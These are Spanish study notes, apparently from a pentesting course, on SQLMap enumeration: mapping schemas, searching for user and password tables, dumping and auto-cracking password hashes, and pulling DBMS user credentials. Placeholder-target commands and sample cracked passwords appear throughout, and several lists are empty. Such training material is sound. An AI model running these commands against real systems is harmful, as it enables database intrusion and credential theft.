🧠 Enumeración Avanzada de Bases de Datos con SQLMap

📌 Resumen

Técnicas avanzadas de enumeración para analizar la estructura completa de la base de datos, buscar información sensible y extraer/crackear contraseñas usando SQLMap.


🎯 ¿Cuándo usar Enumeración Avanzada?

Una vez que ya sabes:

La enumeración avanzada te permite:

👉 Es la fase donde optimizar tiempo y buscar datos críticos.


🗂️ Enumeración del Esquema de la Base de Datos ( --schema )

📌 ¿Qué hace --schema?

Muestra la estructura completa de las bases de datos:

  • Tablas

  • Columnas

  • Tipos de datos


🛠️ Comando

sqlmap -u "http://<IP>:PUERTO/?id=1" --schema

🧠 ¿Por qué es importante?


📊 Ejemplo de salida

{5201E81F-24C8-4D9C-B463-AAA71E716A36}.png

👉 Ya sabes qué columnas atacar antes de dumpear.


🔎 Búsqueda de Datos ( --search )

Cuando hay muchas tablas y columnas, buscar manualmente es lento.

SQLMap permite buscar por nombre usando LIKE.


🔍 Buscar tablas ( -T )

Ideal para encontrar tablas tipo: users, accounts, admins
sqlmap -u "http://<IP>:PUERTO/?id=1" --search -T user

📊 Resultado típico

Database: testdb | users | Database: mysql | user |

👉 Ya sabes dónde mirar primero.


🔤 Buscar columnas ( -C )

Perfecto para encontrar contraseñas
sqlmap -u "http://<IP>:PUERTO/?id=1" --search -C pass

📊 Resultado típico

{A2C49BBB-FD79-4416-9978-A3E0A6F2AF86}.png
👉 Objetivo claro: esa tabla debe ser dumpeada.


🔐 Enumeración y Crackeo de Contraseñas (Tablas)

Una vez identificada una tabla con contraseñas:


🛠️ Dump de tabla con hashes

sqlmap -u "http://<IP>:PUERTO/?id=1" --dump -D master -T users

🧠 ¿Qué hace SQLMap automáticamente?


🔓 Crackeo automático

SQLMap soporta:

  • +31 algoritmos de hash

  • Diccionario interno (~1.4M palabras)

  • Multiprocesamiento (usa todos los cores)

Ejemplo real:

[INFO] cracked password '05adrian' [INFO] cracked password '1201Hunt'

👉 Si el password no es aleatorio, hay altas probabilidades de éxito.


📊 Resultado final

{EA649110-466D-4F68-BC2C-A285B10E07A0}.png


⚠️ Nota ética

Este proceso solo debe realizarse:

  • En laboratorios

  • En entornos autorizados

  • En pentesting legal


👥 Enumeración de Usuarios del DBMS ( --passwords )

Además de tablas normales, SQLMap puede atacar tablas internas del sistema.


🛠️ Comando

sqlmap -u "http://<IP>:PUERTO/?id=1" --passwords --batch

🧠 ¿Qué obtiene?


📊 Ejemplo de salida

User: root Hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 Clear-text password: testpass

👉 Credenciales internas = alto impacto.


⚡ Enumeración Total ( --all )

⚠️ Muy ruidoso y lento

🛠️ Comando

- [ ] qlmap -u "http://<IP>:PUERTO/?id=1" --all --batch

🧠 ¿Qué hace?

👉 Útil solo si:


🎯 Conclusión

🧠 Claves de la Enumeración Avanzada

  • --schema → mapa completo de la BD

  • --search → localiza objetivos rápidamente

  • SQLMap puede crackear hashes automáticamente

  • --passwords → credenciales internas del DBMS

  • --all → todo, pero con ruido y tiempo